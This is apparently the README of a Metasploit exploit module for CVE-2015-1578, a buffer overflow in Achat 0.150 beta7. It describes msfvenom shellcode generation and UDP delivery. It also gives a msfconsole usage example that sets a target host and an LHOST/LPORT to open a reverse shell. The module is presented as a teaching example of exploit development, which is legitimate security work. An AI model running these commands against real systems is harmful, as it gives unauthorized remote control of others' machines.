CVE-2015-1578 Metasploit Module

Overview

This is a Metasploit module for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

Purpose

This module is designed to serve as a clean, minimal, and well-structured example of Metasploit exploit development. It demonstrates:

• Dynamic Unicode-encoded shellcode generation via msfvenom
• Manual payload injection (bypassing Metasploit's internal payload encoder)
• Simple UDP-based delivery mechanism
• Integration into the Metasploit Framework using custom module loading

Video Tutorial

Dependencies

• Metasploit Framework
• msfvenom in your $PATH

Features

• Uses msfvenom to generate payload with x86/unicode_mixed encoding and custom bad characters
• Avoids Metasploit’s built-in payload encoding system to work around encoder limitations

Installation

./install.sh

Then launch Metasploit and run:

reload_all
use exploit/windows/yaldobaoth/achat_bof

Options

• RHOSTS – Target IP address (required)
• LHOST – Local host IP for reverse shell (required)
• LPORT – Local port for reverse shell (default: 4444)
• RPORT – Remote UDP port on target (default: 9256)

Usage Example

msfconsole
use exploit/windows/yaldobaoth/achat_bof
set RHOSTS 10.10.10.74
set LHOST 10.10.16.7
set LPORT 9393
run

This will:

• Generate a Unicode-compatible reverse shell payload with msfvenom
• Inject it into the vulnerable Achat buffer over UDP
• Listen for the shell on the specified LHOST:LPORT